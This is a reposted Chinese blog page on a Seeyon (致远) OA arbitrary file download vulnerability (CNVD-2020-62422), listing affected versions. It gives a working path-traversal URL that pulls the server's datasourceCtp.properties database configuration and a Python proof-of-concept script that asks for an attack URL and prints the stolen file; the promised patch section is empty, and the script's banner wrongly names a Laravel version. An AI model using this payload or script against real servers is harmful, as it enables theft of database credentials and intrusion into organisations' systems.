博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
致远OA任意文件下载漏洞(CNVD-2020-62422)
阅读量:3913 次
发布时间:2019-05-23

本文共 1976 字,大约阅读时间需要 6 分钟。

文章目录

漏洞描述

致远OA存在任意文件下载漏洞,攻击者可利用该漏洞下载任意文件,获取敏感信息

影响版本

致远OA A6-V5

致远OA A8-V5
致远OA G6

payload

致远OA webmail.do文件读取漏洞,由于/seeyon/webmail.do 页面 filePath 参数过滤不严,导致可以读取系统敏感文件。

通过修改filePath参数来下载服务器文件
例:

http://xx.xx.xx.xx/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties注:存在漏洞的OA系统将会下载datasourceCtp.properties配置文件,其中index.jsp可自己选择其它文件,也可更改参数filePath下载其他文件

poc

import requestsimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningdef title():    print('+------------------------------------------')    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')    print('+  \033[34mVersion: Laravel framework <= 5.5.21                              \033[0m')    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')    print('+------------------------------------------')def POC_1(target_url):    vuln_url = target_url + "/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath=../conf/datasourceCtp.properties"    headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) if "workflow" in response.text: print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url)) print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text)) else: print("\033[31m[x] 文件请求失败 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e)if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)

来源:

漏洞复现

在这里插入图片描述

修复补丁

转载地址:http://fpwrn.baihongyu.com/

你可能感兴趣的文章
Magicodes.IE 2.4发布
查看>>
程序员修神之路--它可能是分布式系统中最重要的枢纽
查看>>
如何理解Eating这个词?云原生与微服务专场介绍
查看>>
诊断日志知多少 | DiagnosticSource 在.NET上的应用
查看>>
Chrome正在启用HTTP/3,支持IETF QUIC
查看>>
简单聊聊AspNetCore的启动流程
查看>>
.NET架构小技巧(2)——访问修饰符正确姿势
查看>>
一站式Web开发套件BeetleX.WebFamily
查看>>
工作这几年所获、所感、所悟
查看>>
不想写脚本清理 mongodb 中的垃圾数据,ttlIndex 能帮到你!
查看>>
跟我一起学.NetCore之MediatR好像有点火
查看>>
.NET架构小技巧(4)——反射,架构人员法宝II
查看>>
让你变厉害的7个底层思维
查看>>
译 | 将数据从Cosmos DB迁移到本地JSON文件
查看>>
再被补刀!Flash又遭抛弃,你会怀念它吗?
查看>>
国产操作系统发展离不开人才和市场
查看>>
心想技术驱动业务,却在背道而驰
查看>>
SM2 国密算法被 Linux 内核社区接受
查看>>
日计不足涓滴成河-自定义响应结果格式化器
查看>>
.NET架构小技巧(3)——反射,架构人员法宝I
查看>>